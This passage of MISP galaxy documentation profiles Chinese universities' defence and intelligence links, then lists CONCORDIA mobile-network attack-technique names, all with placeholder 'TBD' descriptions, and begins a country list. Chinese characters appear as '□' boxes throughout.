The tag is: *misp-galaxy:china-defence-universities="Tianjin University (□□□□)"*

Table 973. Table References

Links
https://unitracker.aspi.org.au/universities/tianjin-university

Tongji University (□□□□)

Tongji University recognized for its work in architecture, civil engineering, marine geology, and transportation engineering. The university established the only state key laboratory of deep-sea geology, which plays an important role in China's deep-sea observation and serves as a significant platform for the country's marine strategy.The university's involvement in marine research likely stems from its joint construction with the State Oceanic Administration (SOA). In 2010, the Ministry of Education and the State Oceanic Administration signed to jointly establish 17 universities, a collaboration aimed at enhancing the ability to cultivate marine talents in universities, develop marine science and technology, and make contributions to the development of China's marine industry.Tongji University has secret-level security credentials and is home to one Ministry of Education laboratory dedicated to defense research. In April 2019, the university was placed on the U.S. Unverified List, which places restrictions on US exports to the university. Entities are added the Unverified List if the US Government is unable to satisfactorily carry out end-user checks on them to ensure compliance with export licenses.

The tag is: *misp-galaxy:china-defence-universities="Tongji University (□□□□)"*

Table 974. Table References

Links
https://unitracker.aspi.org.au/universities/tongji-university

Tsinghua University (□□□□)

Tsinghua University is considered China's leading university in science and technology. Often characterized as 'China's MIT,' Tsinghua is highly ranked globally, while also being the alma mater of numerous Chinese leaders, including Xi Jinping. Tsinghua has been included in numerous Chinese educational initiatives, including acting as a Class A institution in the Double First-Class University Plan and with membership in China's C9 League. As of spring 2018, Tsinghua University had 390 research institutions operating across a range of fields.Tsinghua engages in a range of military research and was awarded secret-level security credentials for classified research in 2007. In advancing military-civil fusion, Tsinghua also continues its 'fine tradition' of serving China's national security and defense, actively creating new platforms and initiatives to support this strategy. Not only its dedicated defence laboratories but also a range of key laboratories and research institutions at the university have received funding from the military. Since at least 2012, Tsinghua has also been jointly supervised by defence industry agency SASTIND as part of a program to deepen its defence research and links to the defence sector.Tsinghua's defence research covers areas such as artificial intelligence, air-to-air missiles, navigation technology, instrument science and materials science.The university trains students for China's nuclear weapons program, military and defence industry. In 2014 it signed a strategic cooperation agreement with the Chinese

Academy of Engineering Physics (CAEP)—China's nuclear weapons program. In 2016, CAEP's Materials Institute and Tsinghua established a joint postgraduate training base for teaching, research collaboration and equipment sharing.Approximately 200 postgraduate students at Tsinghua are sponsored by CAEP or defence industry conglomerates each year through the Chinese government's National Defence Science and Technology Scholarship program. Scholarship recipients are required to work for their sponsoring organisation for five years after graduating. Roughly 2000 of the scholarships are awarded each year, indicating that Tsinghua students are among the primary recipients of them. Documents published by Tsinghua indicate that CAEP planned to sponsor 40 PhD students to study nuclear technology in 2013. CAEP continues to sponsor Tsinghua postgraduates. In 2004, Tsinghua agreed to supervise doctoral students from the PLA's Second Artillery Engineering University, now known as the Rocket Force University of Engineering.

The tag is: *misp-galaxy:china-defence-universities="Tsinghua University (□□□□)"*

Table 975. Table References

Links
https://unitracker.aspi.org.au/universities/tsinghua-university

University of Electronic Science and Technology of China (□□□□□□)

UESTC was established in 1961 as one of China's first defence industry universities. It is now subordinate to the Ministry of Education (MOE) and is also jointly supervised by defence industry agencies MIIT and SASTIND, as well as the Chinese military's leading electronics manufacturer, China Electronics Technology Group Corporation (CETC).The university is one of China's leading universities for defence electronics research. It claims to rank among the top MOE universities in terms of the scale of its defence research. Between 2011 and 2015, its annual spending on defence research grew by 210% to RMB400 million (AUD80 million) and may account for as much as 32% of its overall research spending. 16.43% of UESTC graduates in 2017 who found employment were working in the defence sector. UESTC gained secret-level security credentials about a decade ago, probably in 2006, making it one of the first MOE universities to hold them.UESTC research has been used by state-owned manufacturers of military aircraft, missiles, and military electronics and the PLA Navy on projects such as the JF-17 fighter and the Navy's aircraft carrier program.UESTC's defence research covers areas including electronics, microwaves, terahertz technology, anti-jamming technology and signal processing, communication systems, military-use critical materials, optoelectric imaging. Between 2001 and 2005, UESTC undertook over 900 military electronics projects worth in excess of RMB500 million (AUD104 million).UESTC's research on artificial intelligence has attracted scrutiny for its human rights implications. In 2015, a professor recruited by UESTC through the Thousand Talents Plan established a company called Koala AI. The company produces artificial intelligence surveillance systems that are used in Xinjiang, where an estimated 1.5 million Uyghurs and other ethnic minorities have disappeared into concentration camps.UESTC has close relationships with the Chinese defence industry. The university operates a national laboratory on high-power radiation with the Chinese Academy of Engineering Physics, the PRC's primary nuclear warhead research complex. CETC, a state-owned defence conglomerate, partnered jointly with the MOE to developUESTC's capabilities. Under the arrangement, UESTC agreed to expand its collaboration with CETC, help train CETC personnel and send its best students to work at

CETC. Defence industry agency SASTIND also signed agreements to supervise UESTC in 2008 and 2016.

The tag is: *misp-galaxy:china-defence-universities="University of Electronic Science and Technology of China (□□□□□□)"*

Table 976. Table References

Links
https://unitracker.aspi.org.au/universities/university-of-electronic-science-and-technology-of-china

University of International Relations (□□□□□□)

UIR claims was established in 1949 under the direction of then Premier Zhou Enlai. In 1964 it was designated as a 'national key university', and this appears to be the evidence it uses to claim it is a Ministry of Education university. However, the university does not appear on the Ministry of Education's list of subordinate universities.Individuals formerly and presently affiliated with the university have also held affiliations with the MSS or the MSS-linked think tank the China Institutes of Contemporary International Relations (□□□□□□□□□□□□). They include Geng Huichang (□□□), a former Minister of State Security (2007-2016) and vice minister of State Security (1998-2007). Prior to this he was the head of China Institutes of Contemporary International Relations from 1992 to 1998. From 1990 to 1992, he was the director of UIR's American Research Department and from 1985-1990 he was deputy director of the American Research department. Notably, current UIR President Tao Jian is also a former CICIR vice-president and a UIR graduate.UIR gives the MSS a way to work with foreign universities and academics to shape and learn about perceptions of the PRC's views on security. It also provides a platform for the MSS to identify talent, recruit officers and collect intelligence.The university's Hangzhou campus, also known as the Zhejiang Second People's Police School, may carry out more practical training of MSS officers and has been described on a local government website as 'specialising in training special talent'. Some graduates of the Hangzhou campus have moved straight into MSS positions. The Hangzhou campus works closely with Zhejiang University on teaching and research.

The tag is: *misp-galaxy:china-defence-universities="University of International Relations (□□□□□□)"*

Table 977. Table References

Links
https://unitracker.aspi.org.au/universities/university-of-international-relations

University of Science and Technology Beijing (□□□□□□)

USTC is a leading university subordinate to the MOE. The university engages in high levels of defence research and claims be among the top MOE universities for defence spending. Since 2018, it has been under a joint-construction agreement between the MOE and defence industry agency SASTIND that is designed to expand its involvement in defence research.USTB is known as the 'cradle of steel' for its training and research on metallurgy. The university's defence research appears to focus on metallurgy and materials science. It hosts at least three laboratories dedicated to defence research, including two that are jointly run with state-owned defence conglomerates.

The head of USTB's Institute of Advanced Materials and Technology also heads a SASTIND-supported defence science and technology innovation team.The university holds secret-level security credentials, allowing it participate in research and production for classified weapons and defence technology projects.

The tag is: *misp-galaxy:china-defence-universities="University of Science and Technology Beijing (□□□□□□)"*

Table 978. Table References

Links
https://unitracker.aspi.org.au/universities/university-of-science-and-technology-beijing

University of Science and Technology of China (□□□□□□□□□)

The University of Science and Technology of China is among China's most prestigious universities in science and technology. Uniquely, it was established and is supervised by the Chinese Academy of Sciences, intended to serve national objectives in science and technology. Xi Jinping personally inspected USTC in 2016, urging it to pursue "even more outstanding achievements in teaching and innovation." It is a member of the C9 League and in the "211 Project" and "985 Project." While providing undergraduate and graduate-level education, USTC is also highly active in research across a number of major laboratories, including several that support research that is related to national defense and the development of dual-use technologies, such as brain-inspired approaches to artificial intelligence and quantum information science. USTC has a long history of contributions to science in the service of the state, and it has recently sought to deepen its contributions to military research, including through establishing a new center for military-civil fusion. Several USTC professors, including prominently Pan Jianwei, have partnered with the defense industry to pursue military applications of their technologies.

The tag is: *misp-galaxy:china-defence-universities="University of Science and Technology of China (□□□□□□□□□)"*

Table 979. Table References

Links
https://unitracker.aspi.org.au/universities/university-of-science-and-technology-of-china

University of Shanghai for Science and Technology (□□□□□□)

USST describes itself as a 'university with defence characteristics'. It has been under the joint supervision of Shanghai and defence industry agency SASTIND since 2016.It is engaged in growing levels of defence research and holds second-class weapons research and development secrecy credentials, allowing it to undertake classified projects. In 2017, its spending on defence research reached RMB13 million (AUD2.6 million).SASTIND has designated areas with the fields of optics, energy and control science as defence disciplines at USST, indicating that the university's defence

research focuses on these areas.In 2017, The university established a joint venture on terahertz radiation technology with subsidiaries of defence conglomerate Norinco Group.

The tag is: *misp-galaxy:china-defence-universities="University of Shanghai for Science and Technology (□□□□□□)"*

Table 980. Table References

Links
https://unitracker.aspi.org.au/universities/university-of-shanghai-for-science-and-technology

University of South China (□□□□)

USC specialises in nuclear engineering. It has a well-developed defence research program and has been the subject of several joint-construction agreements between the Hunan Provincial Government and defence industry agency SASTIND since 2002. These agreements are designed to ‘support USC in going a step further to display its defence characteristics based on the development needs of the defence technology industry.’ USC is also supervised by China National Nuclear Corporation, a state-owned defence nuclear engineering conglomerate.USC carries out large amounts of defence research related to nuclear engineering, as well as work on information technology, communications engineering, control engineering and electrical engineering. The university received secret level security credentials in 2008, allowing it to work on classified defence projects.

The tag is: *misp-galaxy:china-defence-universities="University of South China (□□□□)"*

Table 981. Table References

Links
https://unitracker.aspi.org.au/universities/university-of-south-china

Wuhan University (□□□□)

WHU is a leading Chinese university subordinate to the Ministry of Education. The university has close ties to the military and has been subject to a joint-supervision agreement between the Ministry of Education and defence industry agency SASTIND since 2016, an arrangement designed to increase its involvement in defence research. In 2015, WHU planned to spend RMB200 million (AUD42 million) on defence research for the year and described itself as ‘a university with a strong reputation in the defence science and technology field’.WHU carries out defence research in a wide range of fields, including navigation, computer simulation, electronic information, electromagnetics, aerospace remote sensing, materials science, cyber security and explosions. The university is an important site of research for China’s Beidou satellite navigation system.Aside from being involved in defence research, there are strong indications that WHU has carried out cyber attacks for the People’s Liberation Army. One of the university’s two defence laboratories purportedly established by the Ministry of Education, the Key Laboratory of Aerospace Information Security and Trusted Computing, has been accused by unnamed US and Taiwanese officials of carrying out cyberattacks.

The tag is: *misp-galaxy:china-defence-universities="Wuhan University (□□□□)"*

Table 982. Table References

Links
https://unitracker.aspi.org.au/universities/wuhan-university

Wuhan University of Technology (□□□□□□)

WHUT is subordinate to the Ministry of Education. The university originally specialised in research relating to construction, transport and automobiles. It engages in high levels of defence research and has been under a ‘joint-construction’ agreement between the Ministry of Education and defence industry agency SASTIND since 2016. It holds secret-level security credentials.The university hosts two Ministry of Education laboratories dedicated to defence research on materials science and ship technology. WHUT also works closely with the PLA Air Force on defensive engineering such as the construction of aircraft bunkers and underground shelters. Since 2001, WHUT and the Guangdong Military Region Air Force Engineering and Construction Bureau have run a joint research institute, which ‘takes advantage of [WHUT’s] State Key Laboratory of Advanced Technology for Materials Synthesis and Processing’. ‘In 2012, the PLA Air Force Logistics Department and WHUT held a signing ceremony inaugurating the “Air Force-level Military-Civil Fusion Air Defence Engineering Construction Technology Innovation Platform Cooperation Agreement” (□□□□□□□□□□□□□□□□□□□□□□□□□□□□)’. The same department in cooperation with WHUT also jointly established the Air Force Air Defence Engineering Construction Technology Innovation Platform (□□□□□□□□□□□□□□□), with ‘the goal of innovating mutually beneficial technologies.’

The tag is: *misp-galaxy:china-defence-universities="Wuhan University of Technology (□□□□□□)"*

Table 983. Table References

Links
https://unitracker.aspi.org.au/universities/wuhan-university-of-technology

Xi’an Jiaotong University (□□□□□□)

XJTU is subordinate to the Ministry of Education. It is also supervised by SASTIND as part of a program to develop defense research capabilities within Chinese universities. The university describes its strategy as being ‘based in Shaanxi, geared toward the needs of the nation, and serving the national defense industry.’The university is advanced in its implementation of military-civil fusion and has established strategic partnerships with China Aerospace Science and Technology Corporation, China Aerospace Science and Industry Corporation, and the Aero Engine Corporation of China. It holds secret-level security credentials, allowing it to participate in classified defence technology projects.

The tag is: *misp-galaxy:china-defence-universities="Xi’an Jiaotong University (□□□□□□)"*

Table 984. Table References

Links

https://unitracker.aspi.org.au/universities/xian-jiaotong-university

Xi’an Technological University (□□□□□□)

XATU is a civilian university that primarily engages in defence research. XATU describes itself as ‘having distinct defence-industrial characteristics’ and is heavily involved in weapons development. Since 2016, it has been subject to a ‘joint construction’ agreement between the Shaanxi Provincial Government and defence industry agency SASTIND designed to deepen its defence links.The university’s main areas of defence research include photoelectric imaging technology, manufacturing technology, materials science, detection and measurement technology and weapons systems. It holds secret-level security credentials.XATU is a member of the B8 Cooperation Innovation Alliance (B8□□□□□□ or □□□□□□□□□□), a group of eight Chinese research institutions that specialize in weapons science—the ‘B’ in ‘B8’ stands for Chinese work for armaments, bingqi (□□). Apart from Shenyang Ligong University, XATU is the only Chinese civilian university known to be supervised by state-owned arms manufacturers China North Industries Group (Norinco Group) and China South Industries Group.

The tag is: *misp-galaxy:china-defence-universities="Xi’an Technological University (□□□□□□)"*

Table 985. Table References

Links
https://unitracker.aspi.org.au/universities/xian-technological-university

Xi’an University of Posts and Telecommunications (□□□□□□)

XUPT is a leading Chinese university supervised by the Shaanxi Provincial Government and the Department of Information Technology. The university was established in 1959 as an institution focused on communications and information technology. XUPT retains a focus on these discipline to this day. XUPT’s faculties include college focusing on artificial intelligence, automation, cyber security and electrical engineering.XUPT maintains close links to China’s Ministry of Public Security (MPS). The university has signed agreements and established joint laboratories with the MPS’s local counterparts.In November 2013, XUPT partnered with the Shaanxi Municipal Government’s public security ministry to establish the MPS Key Laboratory of Electronic Information Application Technology for Scene Investigation (□□□□□□□□□□□□□□□□□□□□). This was the first such joint laboratory that the MPS established with a university in any of China’s five north-western provinces.XUPT partnered with Xi’an’s Yanta District Public Security Bureau branch in November 2018, establishing the ‘Joint Laboratory for Smart Public Security Information Analysis and Applications’ (□□□□□□□□□□□□□□□□). The joint laboratory develops applications of artificial intelligence for analysing criminal information.

The tag is: *misp-galaxy:china-defence-universities="Xi’an University of Posts and Telecommunications (□□□□□□)"*

Table 986. Table References

Links
https://unitracker.aspi.org.au/universities/xian-university-of-posts-and-telecommunications

Xiamen University (□□□□)

XMU is one of China's leading universities, but it does not appear to engage in high levels of defence research. However, in 2018 it came under a joint supevision agreement between the Ministry of Education, the Fujian Provincial Government and defence industry agency SASTIND that indicates XMU will expand its involvement in defence research. The arrangement is designed to 'upgrade the university's ability to innovate defence science and technology and actively integrate itself with the development of military-civil fusion.'In 2017, XMU allegedly conspired with Huawei to steal trade secrets from CNEX Labs Inc., an American semiconductor startup. CNEX claims that Huawei and XMU engaged in a multiyear conspiracy to steal the company's solid-state drive computer storage technology.The university appears to be involved in the development of military-use heavy-duty coatings. In 2017, XMU, Fujian Normal University, Fujian Liheng Paint Co. Ltd. (□□□□□□□□□□) and People's Liberation Army Unit 63983 jointly established the Haixi Liheng New Materials Research Institute (□□□□□□□□□□). Fujian Liheng Paint specialises in heavy-duty coatings for warships and holds confidential-level security credentials, allowing it to participate in classified defence projects.

The tag is: *misp-galaxy:china-defence-universities="Xiamen University (□□□□)"*

Table 987. Table References

Links
https://unitracker.aspi.org.au/universities/xiamen-university

Xiangtan University (□□□□)

XTU is a university in Chairman Mao Zedong's hometown that has substantially expanded its participation in defence research in recent years. It has been subject to two 'joint construction' agreements between the Hunan Provincial Government and defence industry agency SASTIND that are designed to help the university 'draw out its national defence characteristics'. In the university's own words, its 'military-civil fusion characteristics are becoming clearer with each day', and it increased its spending on military-related projects by 60% from 2017 to 2018, spending over RMB31 million (AUD6 million) in 2018.XTU's defence research covers areas including materials science, energy, measurement technology and electromagnetic waves. The university has developed partnerships with a major PLA nuclear technology research institution, Northwest Institute of Nuclear Technology, and several defence companies, including subsidiaries of arms manufacturer Norinco Group and defence aviation conglomerate Aero Engine Corporation of China.XTU holds secret-level security credentials, allowing it to participate in classified defence technology projects.

The tag is: *misp-galaxy:china-defence-universities="Xiangtan University (□□□□)"*

Table 988. Table References

Links

https://unitracker.aspi.org.au/universities/xiangtan-university

Xidian University (□□□□□□□□)

Xidian Univeristy is among China's top universities for research on antennas, radar, electronic countermeasures and computer science. The university is subordinate to the Ministry of Education and is also jointly supervised by defence industry agency SASTIND and defence electronics conglomerate CETC. It claims it has 'made important contributions to military modernisation'.The university is closely tied to China's defense industry and the PLA. It runs at least five defence laboratories and partners with the PLA's signals intelligence organization. Xidian appears to be an important training ground for Chinese military hackers. According to Xidian's party secretary, the university has had an 'unbreakable bond with secret intelligence work since its beginning'. It also holds secret-level security credentials that allow it to work on classified weapons projects.

The tag is: *misp-galaxy:china-defence-universities="Xidian University (□□□□□□□□)"*

Table 989. Table References

Links
https://unitracker.aspi.org.au/universities/xidian-university

Yanshan University (□□□□)

The university was formed as an offshoot of Harbin Institute of Technology, one of China's top defence universities, in 1960. The university continues to prioritise defence research and is jointly supervised by the Hebei Provincial Government together with the Ministry of Education, Ministry of Industry and Information Technology and defence industry agency SASTIND.YSU's Defense Science and Technology Institute was established in 2006 under the support of COSTIND (a defence industry agency that has been replaced by SASTIND) to expand and oversee defence research at the university. The institute has driven the university's involvement in space-related defence research through the establishment of laboratories such as the Key Laboratory of Fundamental Science of Mechanical Structure and Materials Science Under Extreme Conditions. Four fields of research at YSU are officially designated as defence disciplines: control theory and control science, electrical circuits and systems, mechanical design and theory, and materials science and engineering.The university holds secret-level security credentials.

The tag is: *misp-galaxy:china-defence-universities="Yanshan University (□□□□)"*

Table 990. Table References

Links
https://unitracker.aspi.org.au/universities/yanshan-university

Yunnan Normal University (□□□□□□)

YNNU is a Chinese university subordinate to the Yunnan Provincial Government. Since 2013 it has also been supervised by the Ministry of Education. The university has been focused on training

teacher since its inception as the Kunming Teachers College (□□□□□□) in 1950. YNNU now has a broader focus on a variety of humanities, social and natural science disciplines.YNNU is organised into numerous faculties, some of which are relevant for communist party cadre training:

The tag is: *misp-galaxy:china-defence-universities="Yunnan Normal University (□□□□□□)"*

Table 991. Table References

Links
https://unitracker.aspi.org.au/universities/yunnan-normal-university

Zhejiang University (□□□□)

ZJU is subordinate to the Ministry of Education and jointly constructed with defence industry agency SASTIND. This arrangement with SASTIND began in 2016 and is designed to deepend the university's involvement in defence research. The university holds secret-level security credentials, allowing it to work on classified military projects.The university's total research funding amounts to RMB4.56 billion (AUD940 million) in 2018. It has at least three defence laboratories, with one source claiming that the university had ten key national laboratories (□□□□□□□) as of 2015. These laboratories are involved in research on computer simulations, high-performance computing and control science. The university also carries out cyber security research and receives funding for this work from the MSS, China's civilian intelligence agency.ZJU cooperates extensively with international universities and companies, with upwards of 40 international joint S&T research labs. The College of Electrical Engineering has joint labs with U.S. companies in key industries, such as Rockwell Automation in the field of information technology, and the National Semiconductor Corporation. Additionally, the university has a joint research lab with U.S company Microsoft.

The tag is: *misp-galaxy:china-defence-universities="Zhejiang University (□□□□)"*

Table 992. Table References

Links
https://unitracker.aspi.org.au/universities/zhejiang-university

CONCORDIA Mobile Modelling Framework - Attack Pattern

A list of Techniques in CONCORDIA Mobile Modelling Framework..

CONCORDIA Mobile Modelling Framework - Attack Pattern is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Bernardo Santos, OsloMet (Norway) - Prof. Dr. Thanh van Do, Telenor Research (Norway) - Luis Barriga, Ericsson AB (Sweden) - Prof. Boning Feng, OsloMet (Norway) - Van Thuan Do, Wolffia AS (Norway) - Bruno Dzogovic, OsloMet (Norway) - Niels Jacot, Wolffia AS (Norway)

Active Scanning

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Active Scanning"*

Gather UE Identity Information

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Gather UE Identity Information"*

Gather UE Network Information

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Gather UE Network Information"*

Phishing for Information

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Phishing for Information"*

Social Media Reports

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Social Media Reports"*

Develop Capabilities

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Develop Capabilities"*

Obtain Capabilities

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Obtain Capabilities"*

Stage Capabilities

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Stage Capabilities"*

Compromise Accounts

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Compromise Accounts"*

Acquire Infrastructure

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Acquire Infrastructure"*

Compromise Infrastructure

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Compromise Infrastructure"*

Exploit Public-Facing Application

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Exploit Public-Facing Application"*

Malicious App from App Store

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Malicious App from App Store"*

Malicious App from Third Party

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Malicious App from Third Party"*

Masquerade as Legitimate Application

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Masquerade as Legitimate Application"*

Exploit via Charging Station or PC

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Exploit via Charging Station or PC"*

Exploit via Radio Interfaces

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Exploit via Radio Interfaces"*

Rogue Cellular Base Station

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Rogue Cellular Base Station"*

Insider attacks and human errors

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Insider attacks and human errors"*

Trusted Relationship

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Trusted Relationship"*

Supply Chain Compromise

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Supply Chain Compromise"*

Native Code

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Native Code"*

Scheduled Task/Job

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Scheduled Task/Job"*

Command-Line Interface

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Command-Line Interface"*

Command and Scripting Interpreter

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Command and Scripting Interpreter"*

Boot or Logon Autostart Execution

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Boot or Logon Autostart Execution"*

Foreground Persistence

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Foreground Persistence"*

Modify Cached Executable Code

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Modify Cached Executable Code"*

Compromise Application Executable

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Compromise Application Executable"*

Modify OS Kernel or Boot Partition

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Modify OS Kernel or Boot Partition"*

Event Triggered Execution

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Event Triggered Execution"*

Spoofed radio network

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Spoofed radio network"*

Infecting network nodes

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Infecting network nodes"*

Code Injection

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Code Injection"*

Process Injection

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Process Injection"*

Masquerading

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Masquerading"*

Disguise Root/Jailbreak Indicators

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Disguise Root/Jailbreak Indicators"*

Evade Analysis Environment

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Evade Analysis Environment"*

Modify Trusted Execution Environment

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Modify Trusted Execution Environment"*

Obfuscated Files or Information

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Obfuscated Files or Information"*

Suppress Application Icon

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Suppress Application Icon"*

Uninstall Malicious Application

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Uninstall Malicious Application"*

Install Insecure or Malicious Configuration

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Install Insecure or Malicious Configuration"*

Geofencing

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Geofencing"*

Shutdown Remote Device

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Shutdown Remote Device"*

Exploitation for Defense Evasion

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Exploitation for Defense Evasion"*

Security Audit Camouflage

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Security Audit Camouflage"*

Overload Avoidance

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Overload Avoidance"*

Traffic Distribution

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Traffic Distribution"*

URI Hijacking

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="URI Hijacking"*

Modify Authentication Process

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Modify Authentication Process"*

Forced Authentication

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Forced Authentication"*

System Network Connections Discovery

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="System Network Connections Discovery"*

UE knocking

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="UE knocking"*

Internal Resource Search

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Internal Resource Search"*

Network Sniffing

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Network Sniffing"*

Abusing Inter-working Functionalities

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Abusing Inter-working Functionalities"*

Replication Through SMS

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Replication Through SMS"*

Replication Through Bluetooth

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Replication Through Bluetooth"*

Replication Through WLAN

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Replication Through WLAN"*

Replication Through IP

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Replication Through IP"*

Exploit platform & service specific vulnerabilites

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Exploit platform & service specific vulnerabilites"*

Access Sensitive Data in Device Logs

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Access Sensitive Data in Device Logs"*

Network Traffic Capture or Redirection

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Network Traffic Capture or Redirection"*

Network-specific identifiers

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Network-specific identifiers"*

Network-specific data

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Network-specific data"*

Application Layer Protocol

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Application Layer Protocol"*

Communication via SMS

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Communication via SMS"*

Communication via Bluetooth

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Communication via Bluetooth"*

Communication via WLAN

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Communication via WLAN"*

Exploit SS7 to Redirect Phone Calls/SMS

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Exploit SS7 to Redirect Phone Calls/SMS"*

Exploit SS7 to Track Device Location

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Exploit SS7 to Track Device Location"*

SS7-based attacks

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="SS7-based attacks"*

Diameter-based attacks

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Diameter-based attacks"*

GTP-based attacks

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="GTP-based attacks"*

NAS-based attacks

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="NAS-based attacks"*

MEC-based attacks

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="MEC-based attacks"*

Network Slice

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Network Slice"*

Automated Exfiltration

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Automated Exfiltration"*

Data Encrypted

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Data Encrypted"*

Alternate Network Mediums

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Alternate Network Mediums"*

Data Manipulation

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Data Manipulation"*

Endpoint Denial of Service

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Endpoint Denial of Service"*

Carrier Billing Fraud

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Carrier Billing Fraud"*

SMS Fraud

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="SMS Fraud"*

Manipulate Device Communication

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Manipulate Device Communication"*

Jamming or Denial of Service

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Jamming or Denial of Service"*

Location Tracking

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Location Tracking"*

Identity Exploit

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Identity Exploit"*

Network Denial of Service

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Network Denial of Service"*

Resource Hijacking

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Resource Hijacking"*

SLA Breach

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="SLA Breach"*

Customer Churn

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Customer Churn"*

Country

Country meta information based on the database provided by geonames.org..

> Country is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

geonames.org

andorra

Andorra

The tag is: *misp-galaxy:country="andorra"*

united arab emirates

United Arab Emirates

The tag is: *misp-galaxy:country="united arab emirates"*

afghanistan

Afghanistan

The tag is: *misp-galaxy:country="afghanistan"*

antigua and barbuda

Antigua and Barbuda

The tag is: *misp-galaxy:country="antigua and barbuda"*

anguilla

Anguilla

The tag is: *misp-galaxy:country="anguilla"*

albania

Albania

The tag is: *misp-galaxy:country="albania"*

armenia

Armenia

The tag is: *misp-galaxy:country="armenia"*

angola

Angola

The tag is: *misp-galaxy:country="angola"*

antarctica

Antarctica

The tag is: *misp-galaxy:country="antarctica"*

argentina

Argentina

The tag is: *misp-galaxy:country="argentina"*

american samoa

American Samoa

